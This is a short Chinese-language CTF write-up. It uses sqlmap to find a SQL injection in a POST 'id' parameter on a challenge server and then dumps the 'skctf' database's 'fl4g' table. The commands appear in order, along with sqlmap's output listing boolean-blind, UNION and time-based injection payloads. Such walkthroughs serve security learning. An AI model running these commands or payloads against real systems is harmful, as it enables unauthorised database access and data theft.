SQLmap 爆破

1、Sqlmap  -u "http://114.67.246.176:11055/index.php?" --data="id=1"   (这里  --data=“id=1” 是自己提交的post数据)

 2、输出数据库类型

POST parameter 'id' is vulnerable. Do you want to keep testing the others (if any)? [y/N] y
sqlmap identified the following injection points with a total of 29 HTTP(s) requests:
---
Place: POST
Parameter: id
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: id=1' AND 7574=7574 AND 'SIlI'='SIlI
    Type: UNION query
    Title: MySQL UNION query (NULL) - 4 columns
    Payload: id=1' LIMIT 1,1 UNION ALL SELECT CONCAT(0x3a7868723a,0x707871544f7373644575,0x3a75736a3a), NULL, NULL, NULL#
    Type: AND/OR time-based blind
    Title: MySQL > 5.0.11 AND time-based blind
    Payload: id=1' AND SLEEP(5) AND 'kCqI'='kCqI
---
[14:28:52] [INFO] the back-end DBMS is MySQL
web server operating system: Linux CentOS
web application technology: PHP 5.3.3, Apache 2.2.15
back-end DBMS: MySQL 5.0.11

说明可以爆破

继续。。。。

2、查看所有的数据库

 Sqlmap  -u "http://114.67.246.176:11055/index.php?" --data="id=1" --dbs

3、 猜测 flag 可能在skctf 中，所以选择整个数据库，查看里面的表名

 Sqlmap  -u "http://114.67.246.176:11055/index.php?" --data="id=1" -D skctf --table

 4、继续查看表中的列名

Sqlmap  -u "http://114.67.246.176:11055/index.php?" --data="id=1" -D skctf -T  fl4g --columns

 5、转存数据表列中的字符串信息

Sqlmap  -u "http://114.67.246.176:11055/index.php?" --data="id=1" -D skctf -T  fl4g --columns --dump

 这样我们就拿到了 flag